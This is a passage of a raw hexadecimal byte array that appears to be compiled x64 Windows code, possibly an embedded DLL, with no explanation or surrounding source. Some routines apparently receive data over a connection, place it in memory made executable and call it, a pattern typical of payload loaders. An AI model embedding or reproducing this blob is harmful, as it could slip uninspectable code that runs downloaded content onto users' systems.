0xc7, 0x44, 0x24, 0x3c, 0x04, 0x00, 0x00, 0x00, 0x45, 0x8d, 0x41, - 0x14, 0xc7, 0x44, 0x24, 0x38, 0x14, 0x00, 0x00, 0x00, 0x0f, 0x10, 0x44, - 0x24, 0x30, 0xc7, 0x85, 0x68, 0x01, 0x00, 0x00, 0xd2, 0x01, 0x00, 0x01, - 0x0f, 0x11, 0x85, 0x58, 0x01, 0x00, 0x00, 0xff, 0x15, 0x13, 0x0d, 0x01, - 0x00, 0x83, 0xf8, 0x14, 0x74, 0x0e, 0x48, 0x8b, 0xce, 0xff, 0x15, 0x4d, - 0x0d, 0x01, 0x00, 0xe9, 0x88, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xff, 0x75, - 0x12, 0xb9, 0x00, 0x00, 0x80, 0x00, 0xe8, 0xad, 0x3e, 0x00, 0x00, 0x48, - 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x74, 0x41, 0x83, 0xff, 0x03, 0x0f, - 0x8d, 0xf5, 0x00, 0x00, 0x00, 0x41, 0xff, 0xc7, 0x33, 0xc9, 0xe8, 0x65, - 0x3a, 0x00, 0x00, 0x41, 0xbc, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x1f, 0x80, - 0x00, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x80, 0x00, 0x48, 0x63, - 0xd3, 0x44, 0x2b, 0xc3, 0x48, 0x8b, 0xce, 0x45, 0x3b, 0xc4, 0x45, 0x0f, - 0x4f, 0xc4, 0x48, 0x03, 0xd7, 0x45, 0x33, 0xc9, 0xff, 0x15, 0xbe, 0x0c, - 0x01, 0x00, 0x85, 0xc0, 0x7e, 0x14, 0x03, 0xd8, 0x83, 0xfb, 0x10, 0x72, - 0x05, 0x3b, 0x5f, 0x08, 0x7d, 0x08, 0x81, 0xfb, 0x00, 0x00, 0x80, 0x00, - 0x7c, 0xc6, 0x8b, 0x47, 0x08, 0x44, 0x8b, 0x64, 0x24, 0x48, 0x3b, 0xd8, - 0x75, 0x0d, 0x83, 0x7f, 0x0c, 0x06, 0x7e, 0x07, 0x3d, 0x00, 0x00, 0x80, - 0x00, 0x7e, 0x10, 0x48, 0x8b, 0xce, 0xff, 0x15, 0xb4, 0x0c, 0x01, 0x00, - 0x33, 0xdb, 0xe9, 0xed, 0xfd, 0xff, 0xff, 0x0f, 0xb6, 0x47, 0x10, 0x4c, - 0x8b, 0x44, 0x24, 0x40, 0x0f, 0xb6, 0x57, 0x11, 0x8b, 0x4f, 0x12, 0x41, - 0x89, 0x08, 0x3c, 0xd3, 0x75, 0x64, 0x80, 0xfa, 0x01, 0x77, 0x5f, 0x8d, - 0x41, 0xbf, 0x3d, 0xbf, 0xff, 0x7f, 0x00, 0x77, 0x55, 0x48, 0x8b, 0xce, - 0xff, 0x15, 0x7e, 0x0c, 0x01, 0x00, 0xff, 0x15, 0x70, 0x0c, 0x01, 0x00, - 0x48, 0x8b, 0xc7, 0x4c, 0x8b, 0xa4, 0x24, 0x00, 0x03, 0x00, 0x00, 0x4c, - 0x8b, 0xbc, 0x24, 0xf0, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xbc, 0x24, 0x08, - 0x03, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0x30, 0x03, 0x00, 0x00, 0x4c, - 0x8b, 0xb4, 0x24, 0xf8, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0xe0, 0x01, - 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0xde, 0x02, 0x00, 0x00, 0x48, 0x81, - 0xc4, 0x10, 0x03, 0x00, 0x00, 0x41, 0x5d, 0x5b, 0x5d, 0xc3, 0x48, 0x8b, - 0xce, 0xff, 0x15, 0x29, 0x0c, 0x01, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0xd9, - 0x39, 0x00, 0x00, 0xff, 0x15, 0x13, 0x0c, 0x01, 0x00, 0x33, 0xc0, 0xeb, - 0xa2, 0x33, 0xc0, 0xeb, 0xc6, 0xcc, 0xcc, 0xcc, 0x40, 0x55, 0x41, 0x55, - 0x48, 0x81, 0xec, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x26, 0xb9, - 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x44, 0x24, 0x70, 0x0f, 0x57, - 0xc0, 0x4c, 0x8b, 0xe9, 0x0f, 0x11, 0x44, 0x24, 0x30, 0x0f, 0x11, 0x44, - 0x24, 0x40, 0x0f, 0x11, 0x44, 0x24, 0x50, 0x0f, 0x11, 0x44, 0x24, 0x60, - 0xff, 0x15, 0x1e, 0x09, 0x01, 0x00, 0x44, 0x8b, 0xc0, 0x48, 0x8d, 0x15, - 0xb4, 0x8e, 0x01, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, 0xf2, 0xf8, - 0xff, 0xff, 0x45, 0x33, 0xc0, 0x4c, 0x8d, 0x4c, 0x24, 0x30, 0x33, 0xc9, - 0x41, 0x8d, 0x50, 0x01, 0xff, 0x15, 0x2e, 0x09, 0x01, 0x00, 0x41, 0x8b, - 0x55, 0x64, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x49, 0x8b, 0xcd, 0xc7, 0x44, - 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x35, 0xfa, 0xff, 0xff, 0x48, - 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0xff, 0xff, 0xff, 0xff, - 0xe9, 0x39, 0x01, 0x00, 0x00, 0x48, 0x89, 0xbc, 0x24, 0x90, 0x00, 0x00, - 0x00, 0x41, 0xb9, 0x04, 0x00, 0x00, 0x00, 0x48, 0x63, 0x7c, 0x24, 0x20, - 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x4c, 0x89, 0xb4, 0x24, 0x88, 0x00, - 0x00, 0x00, 0x48, 0x8b, 0xd7, 0x4c, 0x89, 0xbc, 0x24, 0x80, 0x00, 0x00, - 0x00, 0x33, 0xc9, 0x4c, 0x8b, 0xff, 0xff, 0x15, 0xc4, 0x08, 0x01, 0x00, - 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0xfe, 0xff, 0xff, - 0xff, 0xe9, 0xd8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x9c, 0x24, 0xb8, 0x00, - 0x00, 0x00, 0x83, 0xc7, 0xc0, 0x33, 0xdb, 0x85, 0xff, 0x7e, 0x61, 0x48, - 0x89, 0xb4, 0x24, 0xc0, 0x00, 0x00, 0x00, 0x90, 0x48, 0x63, 0xf3, 0x48, - 0x8d, 0x15, 0x16, 0x8e, 0x01, 0x00, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, - 0x48, 0x8d, 0x0c, 0x2e, 0xe8, 0x77, 0xfd, 0x00, 0x00, 0x85, 0xc0, 0x74, - 0x08, 0xff, 0xc3, 0x3b, 0xdf, 0x7c, 0xdd, 0xeb, 0x2b, 0x83, 0xfb, 0xff, - 0x74, 0x26, 0x49, 0x8b, 0x45, 0x70, 0x0f, 0x10, 0x00, 0x0f, 0x11, 0x04, - 0x2e, 0x0f, 0x10, 0x48, 0x10, 0x0f, 0x11, 0x4c, 0x2e, 0x10, 0x0f, 0x10, - 0x40, 0x20, 0x0f, 0x11, 0x44, 0x2e, 0x20, 0x0f, 0x10, 0x48, 0x30, 0x0f, - 0x11, 0x4c, 0x2e, 0x30, 0x48, 0x8b, 0xb4, 0x24, 0xc0, 0x00, 0x00, 0x00, - 0x48, 0x8d, 0x55, 0x16, 0x4d, 0x8b, 0xc7, 0x49, 0x8b, 0xce, 0xe8, 0xe9, - 0x16, 0x00, 0x00, 0x48, 0x8b, 0xcd, 0xe8, 0x69, 0x38, 0x00, 0x00, 0x4c, - 0x8d, 0x4c, 0x24, 0x24, 0xc7, 0x44, 0x24, 0x24, 0x00, 0x00, 0x00, 0x00, - 0x41, 0xb8, 0x20, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xd7, 0x49, 0x8b, 0xce, - 0xff, 0x15, 0x1a, 0x08, 0x01, 0x00, 0x48, 0x8b, 0x9c, 0x24, 0xb8, 0x00, - 0x00, 0x00, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0xfd, 0xff, 0xff, 0xff, 0xeb, - 0x1d, 0x48, 0x8b, 0x0d, 0x74, 0xc2, 0x01, 0x00, 0x45, 0x33, 0xc9, 0x45, - 0x33, 0xc0, 0xba, 0xce, 0x0f, 0x00, 0x00, 0xff, 0x15, 0xf7, 0x09, 0x01, - 0x00, 0x41, 0xff, 0xd6, 0x33, 0xc0, 0x48, 0x8b, 0xbc, 0x24, 0x90, 0x00, - 0x00, 0x00, 0x4c, 0x8b, 0xb4, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8b, - 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x70, 0x48, - 0x33, 0xcc, 0xe8, 0xdd, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x98, 0x00, - 0x00, 0x00, 0x41, 0x5d, 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, - 0x83, 0xfa, 0x01, 0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, - 0x24, 0x30, 0x48, 0x8d, 0x15, 0x57, 0xc1, 0x01, 0x00, 0x48, 0x8d, 0x1d, - 0x30, 0xd4, 0x01, 0x00, 0x33, 0xc0, 0x0f, 0x1f, 0x40, 0x00, 0x66, 0x66, - 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0x0c, 0x10, - 0x88, 0x0c, 0x18, 0x48, 0x8d, 0x40, 0x01, 0x84, 0xc9, 0x75, 0xf1, 0x48, - 0x8d, 0x0d, 0x8e, 0xc1, 0x01, 0x00, 0xe8, 0x2d, 0x3b, 0x00, 0x00, 0x89, - 0x05, 0x63, 0xd4, 0x01, 0x00, 0x4c, 0x8d, 0x05, 0xc8, 0xfd, 0xff, 0xff, - 0x48, 0x8d, 0x05, 0xdd, 0xc1, 0x01, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x28, - 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x05, 0x4e, 0xd4, - 0x01, 0x00, 0x33, 0xd2, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x33, 0xc9, 0xff, 0x15, 0xec, 0x06, 0x01, 0x00, 0x48, 0x8b, 0x5c, 0x24, - 0x30, 0x48, 0x89, 0x05, 0x38, 0xd4, 0x01, 0x00, 0xb8, 0x01, 0x00, 0x00, - 0x00, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x85, 0xd2, 0x75, 0x17, 0x48, 0x8b, - 0x0d, 0x23, 0xd4, 0x01, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0xba, 0x19, - 0x06, 0x25, 0x20, 0xff, 0x15, 0xd3, 0x06, 0x01, 0x00, 0xb8, 0x01, 0x00, - 0x00, 0x00, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x3b, 0x0d, 0x81, 0xb6, 0x01, 0x00, 0x75, 0x10, 0x48, 0xc1, 0xc1, - 0x10, 0x66, 0xf7, 0xc1, 0xff, 0xff, 0x75, 0x01, 0xc3, 0x48, 0xc1, 0xc9, - 0x10, 0xe9, 0x96, 0x03, 0x00, 0x00, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0x85, 0xd2, 0x74, 0x39, 0x83, 0xea, 0x01, 0x74, 0x28, 0x83, 0xea, 0x01, - 0x74, 0x16, 0x83, 0xfa, 0x01, 0x74, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00, - 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xe8, 0x72, 0x07, 0x00, 0x00, 0xeb, 0x05, - 0xe8, 0x43, 0x07, 0x00, 0x00, 0x0f, 0xb6, 0xc0, 0x48, 0x83, 0xc4, 0x28, - 0xc3, 0x49, 0x8b, 0xd0, 0x48, 0x83, 0xc4, 0x28, 0xe9, 0x0f, 0x00, 0x00, - 0x00, 0x4d, 0x85, 0xc0, 0x0f, 0x95, 0xc1, 0x48, 0x83, 0xc4, 0x28, 0xe9, - 0x18, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, - 0x20, 0x48, 0x8b, 0xf2, 0x4c, 0x8b, 0xf1, 0x33, 0xc9, 0xe8, 0xe2, 0x07, - 0x00, 0x00, 0x84, 0xc0, 0x0f, 0x84, 0xc8, 0x00, 0x00, 0x00, 0xe8, 0x69, - 0x06, 0x00, 0x00, 0x8a, 0xd8, 0x88, 0x44, 0x24, 0x40, 0x40, 0xb7, 0x01, - 0x83, 0x3d, 0x99, 0xc6, 0x01, 0x00, 0x00, 0x0f, 0x85, 0xc5, 0x00, 0x00, - 0x00, 0xc7, 0x05, 0x89, 0xc6, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xe8, - 0xb4, 0x06, 0x00, 0x00, 0x84, 0xc0, 0x74, 0x4f, 0xe8, 0xc3, 0x0a, 0x00, - 0x00, 0xe8, 0xf6, 0x05, 0x00, 0x00, 0xe8, 0x15, 0x06, 0x00, 0x00, 0x48, - 0x8d, 0x15, 0xf2, 0x08, 0x01, 0x00, 0x48, 0x8d, 0x0d, 0xcb, 0x08, 0x01, - 0x00, 0xe8, 0x56, 0x3a, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x29, 0xe8, 0x51, - 0x06, 0x00, 0x00, 0x84, 0xc0, 0x74, 0x20, 0x48, 0x8d, 0x15, 0xaa, 0x08, - 0x01, 0x00, 0x48, 0x8d, 0x0d, 0x9b, 0x08, 0x01, 0x00, 0xe8, 0xd2, 0x39, - 0x00, 0x00, 0xc7, 0x05, 0x34, 0xc6, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x40, 0x32, 0xff, 0x8a, 0xcb, 0xe8, 0xc6, 0x08, 0x00, 0x00, 0x40, 0x84, - 0xff, 0x75, 0x3f, 0xe8, 0x0c, 0x09, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, - 0x83, 0x38, 0x00, 0x74, 0x24, 0x48, 0x8b, 0xc8, 0xe8, 0x13, 0x08, 0x00, - 0x00, 0x84, 0xc0, 0x74, 0x18, 0x4c, 0x8b, 0xc6, 0xba, 0x02, 0x00, 0x00, - 0x00, 0x49, 0x8b, 0xce, 0x48, 0x8b, 0x03, 0x4c, 0x8b, 0x0d, 0x36, 0x08, - 0x01, 0x00, 0x41, 0xff, 0xd1, 0xff, 0x05, 0x55, 0xc0, 0x01, 0x00, 0xb8, - 0x01, 0x00, 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, - 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, - 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, 0xb9, 0x07, 0x00, 0x00, 0x00, 0xe8, - 0xc0, 0x08, 0x00, 0x00, 0x90, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xec, 0x30, 0x40, 0x8a, 0xf9, 0x8b, 0x05, 0x15, - 0xc0, 0x01, 0x00, 0x85, 0xc0, 0x7f, 0x0d, 0x33, 0xc0, 0x48, 0x8b, 0x5c, - 0x24, 0x40, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xff, 0xc8, 0x89, 0x05, - 0xfc, 0xbf, 0x01, 0x00, 0xe8, 0x4f, 0x05, 0x00, 0x00, 0x8a, 0xd8, 0x88, - 0x44, 0x24, 0x20, 0x83, 0x3d, 0x82, 0xc5, 0x01, 0x00, 0x02, 0x75, 0x37, - 0xe8, 0x63, 0x06, 0x00, 0x00, 0xe8, 0x06, 0x05, 0x00, 0x00, 0xe8, 0xf5, - 0x09, 0x00, 0x00, 0x83, 0x25, 0x6a, 0xc5, 0x01, 0x00, 0x00, 0x8a, 0xcb, - 0xe8, 0xff, 0x07, 0x00, 0x00, 0x33, 0xd2, 0x40, 0x8a, 0xcf, 0xe8, 0x19, - 0x08, 0x00, 0x00, 0xf6, 0xd8, 0x1b, 0xdb, 0x83, 0xe3, 0x01, 0xe8, 0x65, - 0x06, 0x00, 0x00, 0x8b, 0xc3, 0xeb, 0xa2, 0xb9, 0x07, 0x00, 0x00, 0x00, - 0xe8, 0x3b, 0x08, 0x00, 0x00, 0x90, 0x90, 0xcc, 0x48, 0x8b, 0xc4, 0x48, - 0x89, 0x58, 0x20, 0x4c, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x48, 0x89, - 0x48, 0x08, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, 0xec, 0x40, 0x49, 0x8b, - 0xf0, 0x8b, 0xfa, 0x4c, 0x8b, 0xf1, 0x85, 0xd2, 0x75, 0x0f, 0x39, 0x15, - 0x78, 0xbf, 0x01, 0x00, 0x7f, 0x07, 0x33, 0xc0, 0xe9, 0xee, 0x00, 0x00, - 0x00, 0x8d, 0x42, 0xff, 0x83, 0xf8, 0x01, 0x77, 0x45, 0x48, 0x8b, 0x05, - 0xc0, 0x07, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xc7, 0x44, 0x24, - 0x30, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x14, 0xff, 0x15, 0x23, 0x07, 0x01, - 0x00, 0x8b, 0xd8, 0x89, 0x44, 0x24, 0x30, 0x85, 0xc0, 0x0f, 0x84, 0xb2, - 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xc6, 0x8b, 0xd7, 0x49, 0x8b, 0xce, 0xe8, - 0xa0, 0xfd, 0xff, 0xff, 0x8b, 0xd8, 0x89, 0x44, 0x24, 0x30, 0x85, 0xc0, - 0x0f, 0x84, 0x97, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xc6, 0x8b, 0xd7, 0x49, - 0x8b, 0xce, 0xe8, 0x95, 0xfc, 0xff, 0xff, 0x8b, 0xd8, 0x89, 0x44, 0x24, - 0x30, 0x83, 0xff, 0x01, 0x75, 0x36, 0x85, 0xc0, 0x75, 0x32, 0x4c, 0x8b, - 0xc6, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0xe8, 0x79, 0xfc, 0xff, 0xff, 0x48, - 0x85, 0xf6, 0x0f, 0x95, 0xc1, 0xe8, 0xc6, 0xfe, 0xff, 0xff, 0x48, 0x8b, - 0x05, 0x47, 0x07, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x0e, 0x4c, 0x8b, - 0xc6, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0xff, 0x15, 0xac, 0x06, 0x01, 0x00, - 0x85, 0xff, 0x74, 0x05, 0x83, 0xff, 0x03, 0x75, 0x40, 0x4c, 0x8b, 0xc6, - 0x8b, 0xd7, 0x49, 0x8b, 0xce, 0xe8, 0x2e, 0xfd, 0xff, 0xff, 0x8b, 0xd8, - 0x89, 0x44, 0x24, 0x30, 0x85, 0xc0, 0x74, 0x29, 0x48, 0x8b, 0x05, 0x0d, - 0x07, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x09, 0x8d, 0x58, 0x01, 0x89, - 0x5c, 0x24, 0x30, 0xeb, 0x14, 0x4c, 0x8b, 0xc6, 0x8b, 0xd7, 0x49, 0x8b, - 0xce, 0xff, 0x15, 0x69, 0x06, 0x01, 0x00, 0x8b, 0xd8, 0x89, 0x44, 0x24, - 0x30, 0xeb, 0x06, 0x33, 0xdb, 0x89, 0x5c, 0x24, 0x30, 0x8b, 0xc3, 0x48, - 0x8b, 0x5c, 0x24, 0x78, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5e, 0x5f, 0x5e, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf8, 0x8b, 0xda, - 0x48, 0x8b, 0xf1, 0x83, 0xfa, 0x01, 0x75, 0x05, 0xe8, 0xbb, 0x02, 0x00, - 0x00, 0x4c, 0x8b, 0xc7, 0x8b, 0xd3, 0x48, 0x8b, 0xce, 0x48, 0x8b, 0x5c, - 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, - 0xe9, 0x8f, 0xfe, 0xff, 0xff, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x33, 0xc9, 0xff, 0x15, 0xd7, 0x03, 0x01, - 0x00, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0xc6, 0x03, 0x01, 0x00, 0xff, 0x15, - 0xd0, 0x03, 0x01, 0x00, 0x48, 0x8b, 0xc8, 0xba, 0x09, 0x04, 0x00, 0xc0, - 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0xc4, 0x03, 0x01, 0x00, - 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x38, 0xb9, 0x17, 0x00, - 0x00, 0x00, 0xff, 0x15, 0xb8, 0x03, 0x01, 0x00, 0x85, 0xc0, 0x74, 0x07, - 0xb9, 0x02, 0x00, 0x00, 0x00, 0xcd, 0x29, 0x48, 0x8d, 0x0d, 0x86, 0xbe, - 0x01, 0x00, 0xe8, 0xc9, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x44, 0x24, 0x38, - 0x48, 0x89, 0x05, 0x6d, 0xbf, 0x01, 0x00, 0x48, 0x8d, 0x44, 0x24, 0x38, - 0x48, 0x83, 0xc0, 0x08, 0x48, 0x89, 0x05, 0xfd, 0xbe, 0x01, 0x00, 0x48, - 0x8b, 0x05, 0x56, 0xbf, 0x01, 0x00, 0x48, 0x89, 0x05, 0xc7, 0xbd, 0x01, - 0x00, 0x48, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x89, 0x05, 0xcb, 0xbe, 0x01, - 0x00, 0xc7, 0x05, 0xa1, 0xbd, 0x01, 0x00, 0x09, 0x04, 0x00, 0xc0, 0xc7, - 0x05, 0x9b, 0xbd, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xc7, 0x05, 0xa5, - 0xbd, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x08, 0x00, 0x00, 0x00, - 0x48, 0x6b, 0xc0, 0x00, 0x48, 0x8d, 0x0d, 0x9d, 0xbd, 0x01, 0x00, 0x48, - 0xc7, 0x04, 0x01, 0x02, 0x00, 0x00, 0x00, 0xb8, 0x08, 0x00, 0x00, 0x00, - 0x48, 0x6b, 0xc0, 0x00, 0x48, 0x8b, 0x0d, 0x2d, 0xb2, 0x01, 0x00, 0x48, - 0x89, 0x4c, 0x04, 0x20, 0xb8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6b, 0xc0, - 0x01, 0x48, 0x8b, 0x0d, 0x10, 0xb2, 0x01, 0x00, 0x48, 0x89, 0x4c, 0x04, - 0x20, 0x48, 0x8d, 0x0d, 0x9c, 0x05, 0x01, 0x00, 0xe8, 0xff, 0xfe, 0xff, - 0xff, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0xb9, 0x08, 0x00, 0x00, 0x00, 0xe8, 0x06, 0x00, 0x00, 0x00, 0x48, 0x83, - 0xc4, 0x28, 0xc3, 0xcc, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, - 0xb9, 0x17, 0x00, 0x00, 0x00, 0xff, 0x15, 0xd1, 0x02, 0x01, 0x00, 0x85, - 0xc0, 0x74, 0x08, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0xc8, 0xcd, 0x29, 0x48, - 0x8d, 0x0d, 0x9e, 0xbd, 0x01, 0x00, 0xe8, 0x71, 0x00, 0x00, 0x00, 0x48, - 0x8b, 0x44, 0x24, 0x28, 0x48, 0x89, 0x05, 0x85, 0xbe, 0x01, 0x00, 0x48, - 0x8d, 0x44, 0x24, 0x28, 0x48, 0x83, 0xc0, 0x08, 0x48, 0x89, 0x05, 0x15, - 0xbe, 0x01, 0x00, 0x48, 0x8b, 0x05, 0x6e, 0xbe, 0x01, 0x00, 0x48, 0x89, - 0x05, 0xdf, 0xbc, 0x01, 0x00, 0xc7, 0x05, 0xc5, 0xbc, 0x01, 0x00, 0x09, - 0x04, 0x00, 0xc0, 0xc7, 0x05, 0xbf, 0xbc, 0x01, 0x00, 0x01, 0x00, 0x00, - 0x00, 0xc7, 0x05, 0xc9, 0xbc, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, - 0x08, 0x00, 0x00, 0x00, 0x48, 0x6b, 0xc0, 0x00, 0x48, 0x8d, 0x0d, 0xc1, - 0xbc, 0x01, 0x00, 0x8b, 0x54, 0x24, 0x30, 0x48, 0x89, 0x14, 0x01, 0x48, - 0x8d, 0x0d, 0xea, 0x04, 0x01, 0x00, 0xe8, 0x4d, 0xfe, 0xff, 0xff, 0x48, - 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x57, 0x48, 0x83, - 0xec, 0x40, 0x48, 0x8b, 0xd9, 0xff, 0x15, 0xfd, 0x01, 0x01, 0x00, 0x48, - 0x8b, 0xbb, 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x48, - 0x8b, 0xcf, 0x45, 0x33, 0xc0, 0xff, 0x15, 0xed, 0x01, 0x01, 0x00, 0x48, - 0x85, 0xc0, 0x74, 0x32, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8d, - 0x4c, 0x24, 0x58, 0x48, 0x8b, 0x54, 0x24, 0x50, 0x4c, 0x8b, 0xc8, 0x48, - 0x89, 0x4c, 0x24, 0x30, 0x4c, 0x8b, 0xc7, 0x48, 0x8d, 0x4c, 0x24, 0x60, - 0x48, 0x89, 0x4c, 0x24, 0x28, 0x33, 0xc9, 0x48, 0x89, 0x5c, 0x24, 0x20, - 0xff, 0x15, 0xbe, 0x01, 0x01, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x68, 0x48, - 0x83, 0xc4, 0x40, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x56, 0x57, - 0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0xd9, 0xff, 0x15, 0x8f, 0x01, 0x01, - 0x00, 0x48, 0x8b, 0xb3, 0xf8, 0x00, 0x00, 0x00, 0x33, 0xff, 0x45, 0x33, - 0xc0, 0x48, 0x8d, 0x54, 0x24, 0x60, 0x48, 0x8b, 0xce, 0xff, 0x15, 0x7d, - 0x01, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x39, 0x48, 0x83, 0x64, 0x24, - 0x38, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x68, 0x48, 0x8b, 0x54, 0x24, 0x60, - 0x4c, 0x8b, 0xc8, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x4c, 0x8b, 0xc6, 0x48, - 0x8d, 0x4c, 0x24, 0x70, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x33, 0xc9, 0x48, - 0x89, 0x5c, 0x24, 0x20, 0xff, 0x15, 0x4e, 0x01, 0x01, 0x00, 0xff, 0xc7, - 0x83, 0xff, 0x02, 0x7c, 0xb1, 0x48, 0x83, 0xc4, 0x40, 0x5f, 0x5e, 0x5b, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x55, 0x48, 0x8b, - 0xec, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x05, 0x58, 0xb0, 0x01, 0x00, - 0x48, 0xbb, 0x32, 0xa2, 0xdf, 0x2d, 0x99, 0x2b, 0x00, 0x00, 0x48, 0x3b, - 0xc3, 0x75, 0x74, 0x48, 0x83, 0x65, 0x18, 0x00, 0x48, 0x8d, 0x4d, 0x18, - 0xff, 0x15, 0x4a, 0x01, 0x01, 0x00, 0x48, 0x8b, 0x45, 0x18, 0x48, 0x89, - 0x45, 0x10, 0xff, 0x15, 0x34, 0x01, 0x01, 0x00, 0x8b, 0xc0, 0x48, 0x31, - 0x45, 0x10, 0xff, 0x15, 0x40, 0x00, 0x01, 0x00, 0x8b, 0xc0, 0x48, 0x8d, - 0x4d, 0x20, 0x48, 0x31, 0x45, 0x10, 0xff, 0x15, 0x10, 0x01, 0x01, 0x00, - 0x8b, 0x45, 0x20, 0x48, 0x8d, 0x4d, 0x10, 0x48, 0xc1, 0xe0, 0x20, 0x48, - 0x33, 0x45, 0x20, 0x48, 0x33, 0x45, 0x10, 0x48, 0x33, 0xc1, 0x48, 0xb9, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x48, 0x23, 0xc1, 0x48, - 0xb9, 0x33, 0xa2, 0xdf, 0x2d, 0x99, 0x2b, 0x00, 